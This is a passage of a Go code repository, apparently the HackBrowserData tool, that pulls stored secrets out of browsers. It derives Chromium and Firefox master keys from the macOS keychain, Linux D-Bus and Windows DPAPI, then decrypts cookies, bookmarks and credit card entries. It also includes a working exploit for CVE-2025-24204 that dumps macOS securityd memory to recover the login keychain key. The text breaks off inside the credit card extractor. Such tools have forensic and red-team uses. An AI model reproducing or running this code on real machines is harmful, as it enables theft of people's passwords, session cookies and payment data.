		if strings.Contains(stderr.String(), "could not be found") {
			return nil, errCouldNotFindInKeychain
		}
		return nil, errors.New(stderr.String())
	}

	return c.parseSecret(stdout.Bytes())
}

func (c *Chromium) parseSecret(secret []byte) ([]byte, error) {
	secret = bytes.TrimSpace(secret)
	if len(secret) == 0 {
		return nil, errWrongSecurityCommand
	}

	salt := []byte("saltysalt")
	// @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157
	key := crypto.PBKDF2Key(secret, salt, 1003, 16, sha1.New)
	if key == nil {
		return nil, errWrongSecurityCommand
	}
	c.masterKey = key
	log.Debugf("get master key success, browser %s", c.name)
	return key, nil
}


================================================
FILE: browser/chromium/chromium_linux.go
================================================
//go:build linux

package chromium

import (
	"crypto/sha1"
	"fmt"
	"os"

	"github.com/godbus/dbus/v5"
	keyring "github.com/ppacher/go-dbus-keyring"

	"github.com/moond4rk/hackbrowserdata/crypto"
	"github.com/moond4rk/hackbrowserdata/log"
	"github.com/moond4rk/hackbrowserdata/types"
)

func (c *Chromium) GetMasterKey() ([]byte, error) {
	// what is d-bus @https://dbus.freedesktop.org/
	// don't need chromium key file for Linux
	defer os.Remove(types.ChromiumKey.TempFilename())

	conn, err := dbus.SessionBus()
	if err != nil {
		return nil, err
	}
	svc, err := keyring.GetSecretService(conn)
	if err != nil {
		return nil, err
	}
	session, err := svc.OpenSession()
	if err != nil {
		return nil, err
	}
	defer func() {
		if err := session.Close(); err != nil {
			log.Errorf("close dbus session error: %v", err)
		}
	}()
	collections, err := svc.GetAllCollections()
	if err != nil {
		return nil, err
	}
	var secret []byte
	for _, col := range collections {
		items, err := col.GetAllItems()
		if err != nil {
			return nil, err
		}
		for _, i := range items {
			label, err := i.GetLabel()
			if err != nil {
				log.Warnf("get label from dbus: %v", err)
				continue
			}
			if label == c.storage {
				se, err := i.GetSecret(session.Path())
				if err != nil {
					return nil, fmt.Errorf("get storage from dbus: %w", err)
				}
				secret = se.Value
			}
		}
	}

	if len(secret) == 0 {
		// set default secret @https://source.chromium.org/chromium/chromium/src/+/main:components/os_crypt/os_crypt_linux.cc;l=100
		secret = []byte("peanuts")
	}
	salt := []byte("saltysalt")
	// @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_linux.cc
	key := crypto.PBKDF2Key(secret, salt, 1, 16, sha1.New)
	c.masterKey = key
	log.Debugf("get master key success, browser %s", c.name)
	return key, nil
}


================================================
FILE: browser/chromium/chromium_windows.go
================================================
//go:build windows

package chromium

import (
	"encoding/base64"
	"errors"
	"os"

	"github.com/tidwall/gjson"

	"github.com/moond4rk/hackbrowserdata/crypto"
	"github.com/moond4rk/hackbrowserdata/log"
	"github.com/moond4rk/hackbrowserdata/types"
	"github.com/moond4rk/hackbrowserdata/utils/fileutil"
)

var errDecodeMasterKeyFailed = errors.New("decode master key failed")

func (c *Chromium) GetMasterKey() ([]byte, error) {
	b, err := fileutil.ReadFile(types.ChromiumKey.TempFilename())
	if err != nil {
		return nil, err
	}
	defer os.Remove(types.ChromiumKey.TempFilename())

	encryptedKey := gjson.Get(b, "os_crypt.encrypted_key")
	if !encryptedKey.Exists() {
		return nil, nil
	}

	key, err := base64.StdEncoding.DecodeString(encryptedKey.String())
	if err != nil {
		return nil, errDecodeMasterKeyFailed
	}
	c.masterKey, err = crypto.DecryptWithDPAPI(key[5:])
	if err != nil {
		log.Errorf("decrypt master key failed, err %v", err)
		return nil, err
	}
	log.Debugf("get master key success, browser %s", c.name)
	return c.masterKey, nil
}


================================================
FILE: browser/consts.go
================================================
package browser

import (
	"os"
)

// home dir path for all platforms
var homeDir, _ = os.UserHomeDir()

const (
	chromeName     = "Chrome"
	chromeBetaName = "Chrome Beta"
	chromiumName   = "Chromium"
	edgeName       = "Microsoft Edge"
	braveName      = "Brave"
	operaName      = "Opera"
	operaGXName    = "OperaGX"
	vivaldiName    = "Vivaldi"
	coccocName     = "CocCoc"
	yandexName     = "Yandex"
	firefoxName    = "Firefox"
	speed360Name   = "360speed"
	qqBrowserName  = "QQ"
	dcBrowserName  = "DC"
	sogouName      = "Sogou"
	arcName        = "Arc"
)


================================================
FILE: browser/exploit/gcoredump/gcoredump.go
================================================
//go:build darwin

package gcoredump

// CVE-2025-24204
// Logic ported from https://github.com/FFRI/CVE-2025-24204/tree/main/decrypt-keychain
// https://support.apple.com/en-us/122373

import (
	"debug/macho"
	"encoding/binary"
	"errors"
	"fmt"
	"os"
	"os/exec"
	"path/filepath"
	"strconv"
	"strings"
	"time"
	"unsafe"

	"golang.org/x/sys/unix"

	"github.com/moond4rk/hackbrowserdata/log"
	"github.com/moond4rk/hackbrowserdata/utils/chainbreaker"
)

var (
	homeDir, _        = os.UserHomeDir()
	LoginKeychainPath = homeDir + "/Library/Keychains/login.keychain-db"
)

func GetMacOSVersion() string {
	v, err := unix.Sysctl("kern.osproductversion")
	if err == nil {
		return v
	}
	return ""
}

func FindProcessByName(name string, forceRoot bool) (int, error) {
	buf, err := unix.SysctlRaw("kern.proc.all")
	if err != nil {
		return 0, fmt.Errorf("sysctl kern.proc.all failed: %w", err)
	}

	kinfoSize := int(unsafe.Sizeof(unix.KinfoProc{}))
	if len(buf)%kinfoSize != 0 {
		return 0, fmt.Errorf("sysctl kern.proc.all returned invalid data length")
	}

	count := len(buf) / kinfoSize
	for i := 0; i < count; i++ {
		proc := (*unix.KinfoProc)(unsafe.Pointer(&buf[i*kinfoSize]))
		// P_comm is [16]byte on Darwin (in newer x/sys/unix versions)
		pname := byteSliceToString(proc.Proc.P_comm[:])
		if pname == name {
			// Note: P_ppid is in Eproc on some versions, but usually in ExternProc.
			// In golang.org/x/sys/unix for Darwin, ExternProc has P_ppid.
			// If P_ppid is missing, we can rely on P_ruid.
			if !forceRoot || proc.Eproc.Pcred.P_ruid == 0 {
				return int(proc.Proc.P_pid), nil
			}
		}
	}
	return 0, fmt.Errorf("securityd process not found")
}

type addressRange struct {
	start uint64
	end   uint64
}

func DecryptKeychain(storagename string) (string, error) {
	if os.Geteuid() != 0 {
		return "", errors.New("requires root privileges")
	}

	// find securityd PID
	pid, err := FindProcessByName("securityd", true)
	if err != nil {
		return "", fmt.Errorf("failed to find securityd pid: %w", err)
	}

	corePath := filepath.Join(os.TempDir(), fmt.Sprintf("securityd-core-%d", time.Now().UnixNano()))
	defer os.Remove(corePath)

	// dump securityd memory:
	// gcore -d -s -v -o core_path PID
	cmd := exec.Command("gcore", "-d", "-s", "-v", "-o", corePath, strconv.Itoa(pid))
	if err := cmd.Run(); err != nil {
		return "", fmt.Errorf("failed to dump securityd memory: %w", err)
	}

	// find MALLOC_SMALL regions
	regions, err := findMallocSmallRegions(pid)
	if err != nil {
		return "", fmt.Errorf("failed to find malloc small regions: %w", err)
	}

	// open core dump
	cmf, err := macho.Open(corePath)
	if err != nil {
		return "", fmt.Errorf("failed to open core dump: %w", err)
	}
	defer cmf.Close()

	// scan regions
	var candidates []string
	seen := make(map[string]struct{})
	for _, region := range regions {
		// read region data
		data, vaddr, err := getMallocSmallRegionData(cmf, region)
		if err != nil {
			// Region might not be in core dump or other error, skip
			continue
		}
		// Search for pattern
		// 0x18 (8 bytes) followed by pointer (8 bytes)
		for i := 0; i < len(data)-16; i += 8 {
			val := binary.LittleEndian.Uint64(data[i : i+8])
			if val == 0x18 {
				ptr := binary.LittleEndian.Uint64(data[i+8 : i+16])
				if ptr >= region.start && ptr <= region.end {
					offset := ptr - vaddr
					if offset+0x18 <= uint64(len(data)) {
						masterKey := make([]byte, 0x18)
						copy(masterKey, data[offset:offset+0x18])

						keyStr := fmt.Sprintf("%x", masterKey)
						if _, found := seen[keyStr]; !found {
							candidates = append(candidates, keyStr)
							seen[keyStr] = struct{}{}
							log.Debugf("Found master key candidate: %s @ 0x%x", keyStr, ptr)
						}
					}
				}
			}
		}

	}

	// fuzz master key candidates
	for _, candidate := range candidates {
		kc, err := chainbreaker.New(LoginKeychainPath, candidate)
		if err != nil {
			log.Debugf("Failed to unlock keychain: %v", err)
			continue
		}

		records, err := kc.DumpGenericPasswords()
		if err != nil {
			log.Debugf("Failed to unlock keychain: %v", err)
			continue
		}
		for _, rec := range records {
			if rec.Account == storagename {
				// TODO decode base64 password
				if rec.PasswordBase64 {
				}
				return rec.Password, nil
			}
		}
	}

	return "", nil
}

func findMallocSmallRegions(pid int) ([]addressRange, error) {
	cmd := exec.Command("vmmap", "--wide", strconv.Itoa(pid))
	output, err := cmd.Output()
	if err != nil {
		return nil, err
	}

	var regions []addressRange
	lines := strings.Split(string(output), "\n")
	for _, line := range lines {
		line = strings.TrimSpace(line)
		if strings.HasPrefix(line, "MALLOC_SMALL") {
			parts := strings.Fields(line)
			if len(parts) < 2 {
				continue
			}
			rangeStr := parts[1]
			rangeParts := strings.Split(rangeStr, "-")
			if len(rangeParts) != 2 {
				continue
			}
			start, err := strconv.ParseUint(strings.TrimPrefix(rangeParts[0], "0x"), 16, 64)
			if err != nil {
				continue
			}
			end, err := strconv.ParseUint(strings.TrimPrefix(rangeParts[1], "0x"), 16, 64)
			if err != nil {
				continue
			}
			regions = append(regions, addressRange{start: start, end: end})
		}
	}
	return regions, nil
}

func getMallocSmallRegionData(f *macho.File, region addressRange) ([]byte, uint64, error) {
	for _, seg := range f.Loads {
		if s, ok := seg.(*macho.Segment); ok {
			if s.Addr == region.start && s.Addr+s.Memsz == region.end {
				data := make([]byte, s.Filesz)
				_, err := s.ReadAt(data, 0)
				if err != nil {
					return nil, 0, err
				}
				return data, s.Addr, nil
			}
		}
	}
	return nil, 0, fmt.Errorf("region not found in core dump")
}

func byteSliceToString(s []byte) string {
	for i, v := range s {
		if v == 0 {
			return string(s[:i])
		}
	}
	return string(s)
}


================================================
FILE: browser/firefox/firefox.go
================================================
package firefox

import (
	"bytes"
	"database/sql"
	"encoding/base64"
	"errors"
	"fmt"
	"io/fs"
	"os"
	"path/filepath"

	"github.com/tidwall/gjson"
	_ "modernc.org/sqlite" // sqlite3 driver TODO: replace with chooseable driver

	"github.com/moond4rk/hackbrowserdata/browserdata"
	"github.com/moond4rk/hackbrowserdata/crypto"
	"github.com/moond4rk/hackbrowserdata/log"
	"github.com/moond4rk/hackbrowserdata/types"
	"github.com/moond4rk/hackbrowserdata/utils/fileutil"
	"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)

type Firefox struct {
	name        string
	storage     string
	profilePath string
	masterKey   []byte
	items       []types.DataType
	itemPaths   map[types.DataType]string
}

var ErrProfilePathNotFound = errors.New("profile path not found")

// New returns new Firefox instances.
func New(profilePath string, items []types.DataType) ([]*Firefox, error) {
	multiItemPaths := make(map[string]map[types.DataType]string)
	// ignore walk dir error since it can be produced by a single entry
	_ = filepath.WalkDir(profilePath, firefoxWalkFunc(items, multiItemPaths))

	firefoxList := make([]*Firefox, 0, len(multiItemPaths))
	for name, itemPaths := range multiItemPaths {
		firefoxList = append(firefoxList, &Firefox{
			name:      fmt.Sprintf("firefox-%s", name),
			items:     typeutil.Keys(itemPaths),
			itemPaths: itemPaths,
		})
	}

	return firefoxList, nil
}

func (f *Firefox) copyItemToLocal() error {
	for i, path := range f.itemPaths {
		filename := i.TempFilename()
		if err := fileutil.CopyFile(path, filename); err != nil {
			return err
		}
	}
	return nil
}

func firefoxWalkFunc(items []types.DataType, multiItemPaths map[string]map[types.DataType]string) fs.WalkDirFunc {
	return func(path string, info fs.DirEntry, err error) error {
		if err != nil {
			if os.IsPermission(err) {
				log.Warnf("skipping walk firefox path %s permission error: %v", path, err)
				return nil
			}
			return err
		}
		for _, v := range items {
			if info.Name() == v.Filename() {
				parentBaseDir := fileutil.ParentBaseDir(path)
				if _, exist := multiItemPaths[parentBaseDir]; exist {
					multiItemPaths[parentBaseDir][v] = path
				} else {
					multiItemPaths[parentBaseDir] = map[types.DataType]string{v: path}
				}
			}
		}

		return nil
	}
}

// GetMasterKey returns master key of Firefox. from key4.db
func (f *Firefox) GetMasterKey() ([]byte, error) {
	tempFilename := types.FirefoxKey4.TempFilename()

	// Open and defer close of the database.
	keyDB, err := sql.Open("sqlite", tempFilename)
	if err != nil {
		return nil, fmt.Errorf("open key4.db error: %w", err)
	}
	defer os.Remove(tempFilename)
	defer keyDB.Close()

	metaItem1, metaItem2, err := queryMetaData(keyDB)
	if err != nil {
		return nil, fmt.Errorf("query metadata error: %w", err)
	}

	candidates, err := queryNssPrivateCandidates(keyDB)
	if err != nil {
		return nil, fmt.Errorf("query NSS private error: %w", err)
	}
	loginCipherPairs, _ := getFirefoxLoginCipherPairs()

	var (
		fallbackKey []byte
		lastErr     error
	)
	for _, c := range candidates {
		masterKey, err := processMasterKey(metaItem1, metaItem2, c.a11, c.a102)
		if err != nil {
			lastErr = err
			continue
		}
		if fallbackKey == nil {
			fallbackKey = masterKey
		}

		if len(loginCipherPairs) == 0 {
			return masterKey, nil
		}
		if canDecryptAnyLoginCipherPair(masterKey, loginCipherPairs) {
			return masterKey, nil
		}
	}

	if fallbackKey != nil {
		return fallbackKey, nil
	}
	if lastErr != nil {
		return nil, lastErr
	}
	return nil, errors.New("no valid firefox master key found in nssPrivate")
}

func queryMetaData(db *sql.DB) ([]byte, []byte, error) {
	const query = `SELECT item1, item2 FROM metaData WHERE id = 'password'`
	var metaItem1, metaItem2 []byte
	if err := db.QueryRow(query).Scan(&metaItem1, &metaItem2); err != nil {
		return nil, nil, err
	}
	return metaItem1, metaItem2, nil
}

type nssPrivateCandidate struct {
	a11  []byte
	a102 []byte
}

func queryNssPrivateCandidates(db *sql.DB) ([]nssPrivateCandidate, error) {
	const query = `SELECT a11, a102 FROM nssPrivate`
	rows, err := db.Query(query)
	if err != nil {
		return nil, err
	}
	defer rows.Close()

	var candidates []nssPrivateCandidate
	for rows.Next() {
		var c nssPrivateCandidate
		if err := rows.Scan(&c.a11, &c.a102); err != nil {
			return nil, err
		}
		candidates = append(candidates, c)
	}
	if err := rows.Err(); err != nil {
		return nil, err
	}
	if len(candidates) == 0 {
		return nil, errors.New("nssPrivate is empty")
	}
	return candidates, nil
}

func queryNssPrivate(db *sql.DB) ([]byte, []byte, error) {
	// Keep this helper for backward compatibility in tests.
	candidates, err := queryNssPrivateCandidates(db)
	if err != nil {
		return nil, nil, err
	}
	return candidates[0].a11, candidates[0].a102, nil
}

type loginCipherPair struct {
	username []byte
	password []byte
}

func getFirefoxLoginCipherPairs() ([]loginCipherPair, error) {
	raw, err := os.ReadFile(types.FirefoxPassword.TempFilename())
	if err != nil {
		return nil, err
	}
	arr := gjson.GetBytes(raw, "logins").Array()
	pairs := make([]loginCipherPair, 0, len(arr))
	for _, v := range arr {
		uEnc := v.Get("encryptedUsername").String()
		pEnc := v.Get("encryptedPassword").String()
		if uEnc == "" || pEnc == "" {
			continue
		}
		uRaw, err := base64.StdEncoding.DecodeString(uEnc)
		if err != nil {
			continue
		}
		pRaw, err := base64.StdEncoding.DecodeString(pEnc)
		if err != nil {
			continue
		}
		pairs = append(pairs, loginCipherPair{username: uRaw, password: pRaw})
		if len(pairs) >= 5 {
			break
		}
	}
	return pairs, nil
}

func canDecryptAnyLoginCipherPair(masterKey []byte, pairs []loginCipherPair) bool {
	for _, pair := range pairs {
		uPBE, err := crypto.NewASN1PBE(pair.username)
		if err != nil {
			continue
		}
		if _, err := uPBE.Decrypt(masterKey); err != nil {
			continue
		}

		pPBE, err := crypto.NewASN1PBE(pair.password)
		if err != nil {
			continue
		}
		if _, err := pPBE.Decrypt(masterKey); err == nil {
			return true
		}
	}
	return false
}

// processMasterKey process master key of Firefox.
// Process the metaBytes and nssA11 with the corresponding cryptographic operations.
func processMasterKey(metaItem1, metaItem2, nssA11, nssA102 []byte) ([]byte, error) {
	metaPBE, err := crypto.NewASN1PBE(metaItem2)
	if err != nil {
		return nil, fmt.Errorf("error creating ASN1PBE from metaItem2: %w", err)
	}

	flag, err := metaPBE.Decrypt(metaItem1)
	if err != nil {
		return nil, fmt.Errorf("error decrypting master key: %w", err)
	}
	const passwordCheck = "password-check"

	if !bytes.Contains(flag, []byte(passwordCheck)) {
		return nil, errors.New("flag verification failed: password-check not found")
	}

	keyLin := []byte{248, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1}
	if !bytes.Equal(nssA102, keyLin) {
		return nil, errors.New("master key verification failed: nssA102 not equal to expected value")
	}

	nssA11PBE, err := crypto.NewASN1PBE(nssA11)
	if err != nil {
		return nil, fmt.Errorf("error creating ASN1PBE from nssA11: %w", err)
	}

	finallyKey, err := nssA11PBE.Decrypt(metaItem1)
	if err != nil {
		return nil, fmt.Errorf("error decrypting final key: %w", err)
	}
	if len(finallyKey) < 24 {
		return nil, errors.New("length of final key is less than 24 bytes")
	}
	// Historically, the derived PBE key was truncated to 24 bytes for 3DES usage.
	// Starting from Firefox 144+, NSS switches to AES-256-CBC without changing
	// the underlying key derivation logic. The full derived key must be preserved
	// to support modern cipher suites.
	return finallyKey, nil
}

func (f *Firefox) Name() string {
	return f.name
}

func (f *Firefox) BrowsingData(isFullExport bool) (*browserdata.BrowserData, error) {
	dataTypes := f.items
	if !isFullExport {
		dataTypes = types.FilterSensitiveItems(f.items)
	}

	data := browserdata.New(dataTypes)

	if err := f.copyItemToLocal(); err != nil {
		return nil, err
	}

	masterKey, err := f.GetMasterKey()
	if err != nil {
		return nil, err
	}

	f.masterKey = masterKey
	if err := data.Recovery(f.masterKey); err != nil {
		return nil, err
	}
	return data, nil
}


================================================
FILE: browser/firefox/firefox_test.go
================================================
package firefox

import (
	"testing"

	"github.com/DATA-DOG/go-sqlmock"
	"github.com/stretchr/testify/assert"
)

func TestQueryMetaData(t *testing.T) {
	db, mock, err := sqlmock.New()
	assert.NoError(t, err)
	defer db.Close()

	rows := sqlmock.NewRows([]string{"item1", "item2"}).
		AddRow([]byte("globalSalt"), []byte("metaBytes"))
	mock.ExpectQuery("SELECT item1, item2 FROM metaData WHERE id = 'password'").WillReturnRows(rows)

	globalSalt, metaBytes, err := queryMetaData(db)
	assert.NoError(t, err)
	assert.Equal(t, []byte("globalSalt"), globalSalt)
	assert.Equal(t, []byte("metaBytes"), metaBytes)
}

func TestQueryNssPrivate(t *testing.T) {
	db, mock, err := sqlmock.New()
	assert.NoError(t, err)
	defer db.Close()

	rows := sqlmock.NewRows([]string{"a11", "a102"}).
		AddRow([]byte("nssA11"), []byte("nssA102"))
	mock.ExpectQuery("SELECT a11, a102 FROM nssPrivate").WillReturnRows(rows)

	nssA11, nssA102, err := queryNssPrivate(db)
	assert.NoError(t, err)
	assert.Equal(t, []byte("nssA11"), nssA11)
	assert.Equal(t, []byte("nssA102"), nssA102)
}


================================================
FILE: browserdata/bookmark/bookmark.go
================================================
package bookmark

import (
	"database/sql"
	"os"
	"sort"
	"time"

	"github.com/tidwall/gjson"
	_ "modernc.org/sqlite" // import sqlite3 driver

	"github.com/moond4rk/hackbrowserdata/extractor"
	"github.com/moond4rk/hackbrowserdata/log"
	"github.com/moond4rk/hackbrowserdata/types"
	"github.com/moond4rk/hackbrowserdata/utils/fileutil"
	"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)

func init() {
	extractor.RegisterExtractor(types.ChromiumBookmark, func() extractor.Extractor {
		return new(ChromiumBookmark)
	})
	extractor.RegisterExtractor(types.FirefoxBookmark, func() extractor.Extractor {
		return new(FirefoxBookmark)
	})
}

type ChromiumBookmark []bookmark

type bookmark struct {
	ID        int64
	Name      string
	Type      string
	URL       string
	DateAdded time.Time
}

func (c *ChromiumBookmark) Extract(_ []byte) error {
	bookmarks, err := fileutil.ReadFile(types.ChromiumBookmark.TempFilename())
	if err != nil {
		return err
	}
	defer os.Remove(types.ChromiumBookmark.TempFilename())
	r := gjson.Parse(bookmarks)
	if r.Exists() {
		roots := r.Get("roots")
		roots.ForEach(func(key, value gjson.Result) bool {
			getBookmarkChildren(value, c)
			return true
		})
	}

	sort.Slice(*c, func(i, j int) bool {
		return (*c)[i].DateAdded.After((*c)[j].DateAdded)
	})
	return nil
}

const (
	bookmarkID       = "id"
	bookmarkAdded    = "date_added"
	bookmarkURL      = "url"
	bookmarkName     = "name"
	bookmarkType     = "type"
	bookmarkChildren = "children"
)

func getBookmarkChildren(value gjson.Result, w *ChromiumBookmark) (children gjson.Result) {
	nodeType := value.Get(bookmarkType)
	children = value.Get(bookmarkChildren)

	bm := bookmark{
		ID:        value.Get(bookmarkID).Int(),
		Name:      value.Get(bookmarkName).String(),
		URL:       value.Get(bookmarkURL).String(),
		DateAdded: typeutil.TimeEpoch(value.Get(bookmarkAdded).Int()),
	}
	if nodeType.Exists() {
		bm.Type = nodeType.String()
		*w = append(*w, bm)
		if children.Exists() && children.IsArray() {
			for _, v := range children.Array() {
				children = getBookmarkChildren(v, w)
			}
		}
	}
	return children
}

func (c *ChromiumBookmark) Name() string {
	return "bookmark"
}

func (c *ChromiumBookmark) Len() int {
	return len(*c)
}

type FirefoxBookmark []bookmark

const (
	queryFirefoxBookMark = `SELECT id, url, type, dateAdded, title FROM (SELECT * FROM moz_bookmarks INNER JOIN moz_places ON moz_bookmarks.fk=moz_places.id)`
	closeJournalMode     = `PRAGMA journal_mode=off`
)

func (f *FirefoxBookmark) Extract(_ []byte) error {
	db, err := sql.Open("sqlite", types.FirefoxBookmark.TempFilename())
	if err != nil {
		return err
	}
	defer os.Remove(types.FirefoxBookmark.TempFilename())
	defer db.Close()
	_, err = db.Exec(closeJournalMode)
	if err != nil {
		log.Debugf("close journal mode error: %v", err)
	}
	rows, err := db.Query(queryFirefoxBookMark)
	if err != nil {
		return err
	}
	defer rows.Close()
	for rows.Next() {
		var (
			id, bt, dateAdded int64
			url               string
			title             sql.NullString
		)
		if err = rows.Scan(&id, &url, &bt, &dateAdded, &title); err != nil {
			log.Debugf("scan bookmark error: %v", err)
		}
		*f = append(*f, bookmark{
			ID:        id,
			Name:      title.String,
			Type:      linkType(bt),
			URL:       url,
			DateAdded: typeutil.TimeStamp(dateAdded / 1000000),
		})
	}
	sort.Slice(*f, func(i, j int) bool {
		return (*f)[i].DateAdded.After((*f)[j].DateAdded)
	})
	return nil
}

func (f *FirefoxBookmark) Name() string {
	return "bookmark"
}

func (f *FirefoxBookmark) Len() int {
	return len(*f)
}

func linkType(a int64) string {
	switch a {
	case 1:
		return "url"
	default:
		return "folder"
	}
}


================================================
FILE: browserdata/browserdata.go
================================================
package browserdata

import (
	"github.com/moond4rk/hackbrowserdata/extractor"
	"github.com/moond4rk/hackbrowserdata/log"
	"github.com/moond4rk/hackbrowserdata/types"
	"github.com/moond4rk/hackbrowserdata/utils/fileutil"
)

type BrowserData struct {
	extractors map[types.DataType]extractor.Extractor
}

func New(items []types.DataType) *BrowserData {
	bd := &BrowserData{
		extractors: make(map[types.DataType]extractor.Extractor),
	}
	bd.addExtractors(items)
	return bd
}

func (d *BrowserData) Recovery(masterKey []byte) error {
	for _, source := range d.extractors {
		if err := source.Extract(masterKey); err != nil {
			log.Debugf("parse %s error: %v", source.Name(), err)
			continue
		}
	}
	return nil
}

func (d *BrowserData) Output(dir, browserName, flag string) {
	output := newOutPutter(flag)

	for _, source := range d.extractors {
		if source.Len() == 0 {
			// if the length of the export data is 0, then it is not necessary to output
			continue
		}
		filename := fileutil.Filename(browserName, source.Name(), output.Ext())

		f, err := output.CreateFile(dir, filename)
		if err != nil {
			log.Debugf("create file %s error: %v", filename, err)
			continue
		}
		if err := output.Write(source, f); err != nil {
			log.Debugf("write to file %s error: %v", filename, err)
			continue
		}
		if err := f.Close(); err != nil {
			log.Debugf("close file %s error: %v", filename, err)
			continue
		}
		log.Warnf("export success: %s", filename)
	}
}

func (d *BrowserData) addExtractors(items []types.DataType) {
	for _, itemType := range items {
		if source := extractor.CreateExtractor(itemType); source != nil {
			d.extractors[itemType] = source
		} else {
			log.Debugf("source not found: %s", itemType)
		}
	}
}


================================================
FILE: browserdata/cookie/cookie.go
================================================
package cookie

import (
	"database/sql"
	"os"
	"sort"
	"time"

	// import sqlite3 driver
	_ "modernc.org/sqlite"

	"github.com/moond4rk/hackbrowserdata/crypto"
	"github.com/moond4rk/hackbrowserdata/extractor"
	"github.com/moond4rk/hackbrowserdata/log"
	"github.com/moond4rk/hackbrowserdata/types"
	"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)

func init() {
	extractor.RegisterExtractor(types.ChromiumCookie, func() extractor.Extractor {
		return new(ChromiumCookie)
	})
	extractor.RegisterExtractor(types.FirefoxCookie, func() extractor.Extractor {
		return new(FirefoxCookie)
	})
}

type ChromiumCookie []cookie

type cookie struct {
	Host         string
	Path         string
	KeyName      string
	encryptValue []byte
	Value        string
	IsSecure     bool
	IsHTTPOnly   bool
	HasExpire    bool
	IsPersistent bool
	CreateDate   time.Time
	ExpireDate   time.Time
}

const (
	queryChromiumCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies`
)

func (c *ChromiumCookie) Extract(masterKey []byte) error {
	db, err := sql.Open("sqlite", types.ChromiumCookie.TempFilename())
	if err != nil {
		return err
	}
	defer os.Remove(types.ChromiumCookie.TempFilename())
	defer db.Close()
	rows, err := db.Query(queryChromiumCookie)
	if err != nil {
		return err
	}
	defer rows.Close()
	for rows.Next() {
		var (
			key, host, path                               string
			isSecure, isHTTPOnly, hasExpire, isPersistent int
			createDate, expireDate                        int64
			value, encryptValue                           []byte
		)
		if err = rows.Scan(&key, &encryptValue, &host, &path, &createDate, &expireDate, &isSecure, &isHTTPOnly, &hasExpire, &isPersistent); err != nil {
			log.Debugf("scan chromium cookie error: %v", err)
		}

		cookie := cookie{
			KeyName:      key,
			Host:         host,
			Path:         path,
			encryptValue: encryptValue,
			IsSecure:     typeutil.IntToBool(isSecure),
			IsHTTPOnly:   typeutil.IntToBool(isHTTPOnly),
			HasExpire:    typeutil.IntToBool(hasExpire),
			IsPersistent: typeutil.IntToBool(isPersistent),
			CreateDate:   typeutil.TimeEpoch(createDate),
			ExpireDate:   typeutil.TimeEpoch(expireDate),
		}

		if len(encryptValue) > 0 {
			value, err = crypto.DecryptWithDPAPI(encryptValue)
			if err != nil {
				value, err = crypto.DecryptWithChromium(masterKey, encryptValue)
				if err != nil {
					log.Debugf("decrypt chromium cookie error: %v", err)
				} else if len(value) > 32 {
					// https://gist.github.com/kosh04/36cf6023fb75b516451ce933b9db2207?permalink_comment_id=5291243#gistcomment-5291243
					value = value[32:]
				}
			}
		}
		cookie.Value = string(value)
		*c = append(*c, cookie)
	}
	sort.Slice(*c, func(i, j int) bool {
		return (*c)[i].CreateDate.After((*c)[j].CreateDate)
	})
	return nil
}

func (c *ChromiumCookie) Name() string {
	return "cookie"
}

func (c *ChromiumCookie) Len() int {
	return len(*c)
}

type FirefoxCookie []cookie

const (
	queryFirefoxCookie = `SELECT name, value, host, path, creationTime, expiry, isSecure, isHttpOnly FROM moz_cookies`
)

func (f *FirefoxCookie) Extract(_ []byte) error {
	db, err := sql.Open("sqlite", types.FirefoxCookie.TempFilename())
	if err != nil {
		return err
	}
	defer os.Remove(types.FirefoxCookie.TempFilename())
	defer db.Close()

	rows, err := db.Query(queryFirefoxCookie)
	if err != nil {
		return err
	}
	defer rows.Close()
	for rows.Next() {
		var (
			name, value, host, path string
			isSecure, isHTTPOnly    int
			creationTime, expiry    int64
		)
		if err = rows.Scan(&name, &value, &host, &path, &creationTime, &expiry, &isSecure, &isHTTPOnly); err != nil {
			log.Debugf("scan firefox cookie error: %v", err)
		}
		*f = append(*f, cookie{
			KeyName:    name,
			Host:       host,
			Path:       path,
			IsSecure:   typeutil.IntToBool(isSecure),
			IsHTTPOnly: typeutil.IntToBool(isHTTPOnly),
			CreateDate: typeutil.TimeStamp(creationTime / 1000000),
			ExpireDate: typeutil.TimeStamp(expiry),
			Value:      value,
		})
	}

	sort.Slice(*f, func(i, j int) bool {
		return (*f)[i].CreateDate.After((*f)[j].CreateDate)
	})
	return nil
}

func (f *FirefoxCookie) Name() string {
	return "cookie"
}

func (f *FirefoxCookie) Len() int {
	return len(*f)
}


================================================
FILE: browserdata/creditcard/creditcard.go
================================================
package creditcard

import (
	"database/sql"
	"os"

	// import sqlite3 driver
	_ "modernc.org/sqlite"

	"github.com/moond4rk/hackbrowserdata/crypto"
	"github.com/moond4rk/hackbrowserdata/extractor"
	"github.com/moond4rk/hackbrowserdata/log"
	"github.com/moond4rk/hackbrowserdata/types"
)

func init() {
	extractor.RegisterExtractor(types.ChromiumCreditCard, func() extractor.Extractor {
		return new(ChromiumCreditCard)
	})
	extractor.RegisterExtractor(types.YandexCreditCard, func() extractor.Extractor {
		return new(YandexCreditCard)
	})
}

type ChromiumCreditCard []card

type card struct {
	GUID            string
	Name            string
	ExpirationYear  string
	ExpirationMonth string
	CardNumber      string
	Address         string
	NickName        string
}

const (
	queryChromiumCredit = `SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted, billing_address_id, nickname FROM credit_cards`
)

func (c *ChromiumCreditCard) Extract(masterKey []byte) error {
	db, err := sql.Open("sqlite", types.ChromiumCreditCard.TempFilename())
	if err != nil {
		return err
	}
	defer os.Remove(types.ChromiumCreditCard.TempFilename())
	defer db.Close()

	rows, err := db.Query(queryChromiumCredit)
	if err != nil {
		return err
	}
	defer rows.Close()
	for rows.Next() {
		var (
			name, month, year, guid, address, nickname string
			value, encryptValue                        []byte
		)
		if err := rows.Scan(&guid, &name, &month, &year, &encryptValue, &address, &nickname); err != nil {
			log.Debugf("scan chromium credit card error: %v", err)
		}
		ccInfo := card{
			GUID:            guid,
			Name:            name,
			ExpirationMonth: month,
			ExpirationYear:  year,
			Address:         address,
			NickName:        nickname,
		}
		if len(encryptValue) > 0 {
			if len(masterKey) == 0 {
